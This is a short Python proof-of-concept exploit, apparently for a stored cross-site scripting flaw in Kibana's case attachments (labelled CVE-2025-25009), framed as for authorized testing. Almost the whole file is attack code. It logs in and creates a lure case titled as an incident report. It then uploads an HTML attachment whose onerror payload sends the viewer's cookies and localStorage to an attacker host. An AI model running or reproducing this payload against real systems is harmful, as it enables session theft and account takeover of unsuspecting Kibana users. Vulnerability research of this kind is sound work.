The following code is for security research and authorized testing only.
python
# CVE-2025-25009 - Kibana Stored XSS via Case File Upload PoC
# This PoC demonstrates the concept of exploiting stored XSS
# through Kibana's case file upload functionality.
import requests
# Target Kibana instance configuration
KIBANA_URL = "https://kibana-target.example.com"
USERNAME = "attacker_user"
PASSWORD = "attacker_password"
# Step 1: Authenticate to Kibana and obtain session
session = requests.Session()
auth_payload = {
"username": USERNAME,
"password": PASSWORD
}
session.post(f"{KIBANA_URL}/api/security/v1/login", json=auth_payload)
# Step 2: Craft malicious payload to be embedded in case file
# The malicious script will execute in victim's browser context
malicious_payload = """
<img src=x onerror="fetch('https://attacker.example.com/steal?cookie='+document.cookie+'&data='+JSON.stringify(localStorage))">
"""
# Step 3: Create a case with the malicious file attachment
case_payload = {
"title": "Security Incident Report",
"description": "Please review the attached analysis file.",
"tags": ["security", "investigation"],
}
# Upload file with embedded XSS payload
files = {
"file": ("report.html", malicious_payload.encode(), "text/html")
}
response = session.post(
f"{KIBANA_URL}/api/cases",
json=case_payload
)
case_id = response.json().get("id")
# Step 4: Attach the malicious file to the case
session.post(
f"{KIBANA_URL}/api/cases/{case_id}/attachments",
files=files
)
print(f"[+] Malicious case created with ID: {case_id}")
print(f"[+] When a victim views this case, the XSS payload will execute")
print(f"[+] Victim URL: {KIBANA_URL}/app/management/cases/{case_id}")
# Note: Actual exploitation requires the attacker to have valid
# credentials with case creation permissions (low privilege required).
# The victim must have permissions to view the case.